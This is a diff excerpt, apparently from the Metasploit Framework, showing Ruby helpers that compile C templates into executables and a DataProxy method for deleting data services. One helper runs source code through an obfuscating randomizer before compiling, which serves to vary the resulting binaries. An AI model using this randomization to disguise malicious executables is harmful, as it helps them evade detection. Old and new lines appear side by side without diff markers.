# @param cpu [Object] A Metasm cpu object, for example: Metasm::Ia32.new
# @param cpu [Metasm::CPU] A Metasm cpu object, for example: Metasm::Ia32.new
# @return [Integer] The number of bytes written.
def self.compile_c_to_file(out_file, c_template, type=:exe, cpu=Metasm::Ia32.new)
pe = self.compile(c_template, type)
pe = self.compile_c(c_template, type)
File.write(out_file, pe)
end
# Returns the binary of a randomized and compiled source code.
#
# @param c_template [String]
#
# @raise [NotImplementedError] If the type is not supported.
# @return [String] The compiled code.
def self.compile_random_c(c_template, opts={})
type = opts[:type] || :exe
cpu = opts[:cpu] || Metasm::Ia32.new
weight = opts[:weight] || 80
headers = Compiler::Headers::Windows.new
source_code = Compiler::Utils.normalize_code(c_template, headers)
randomizer = Metasploit::Framework::Obfuscation::CRandomizer::Parser.new(weight)
randomized_code = randomizer.parse(source_code)
self.compile_c(randomized_code.to_s, type, cpu)
end
# Saves the randomized compiled code as a file. This is basically a wrapper for #self.compile_random_c
#
# @param out_file [String] The file path to save the binary as.
# @param c_template [String] The C source code to randomize and compile.
# @param opts [Hash] Options to pass to #compile_random_c
# @return [Integer] The number of bytes written.
def self.compile_random_c_to_file(out_file, c_template, opts={})
pe = self.compile_random_c(c_template, opts)
File.write(out_file, pe)
end
end

View File

@ -61,6 +61,23 @@ class DataProxy
set_data_service(data_service_id)
end
#
# Delete the specified data service
#
def delete_data_service(data_service_id)
raise ArgumentError.new('Cannot delete data service id: 1') if data_service_id.to_i == 1
data_service = @data_services.delete(data_service_id.to_i)
if data_service.nil?
raise "Data service with id: #{data_service_id} does not exist"
end
if @current_data_service == data_service
# set the current data service to the first data service created
@current_data_service = @data_services[1]
end
end
#
# Set the data service to be used
#

Some files were not shown because too many files have changed in this diff Show More